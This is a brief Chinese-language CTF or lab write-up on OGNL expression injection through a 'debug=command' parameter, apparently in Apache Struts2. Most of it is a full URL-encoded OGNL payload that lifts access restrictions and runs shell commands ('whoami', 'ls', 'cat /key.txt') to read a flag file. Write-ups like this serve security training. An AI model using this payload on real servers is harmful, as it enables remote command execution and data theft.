漏洞原理：主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码，传入?debug=command&expression=即可执行OGNL表达式
寻找poc：debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
修改poc，传入命令ls，目录里看到key文件
修改poc，传入命令cat /key.txt
来源：51CTO
作者：qq_36933272
链接：https://blog.csdn.net/qq_36933272/article/details/100550957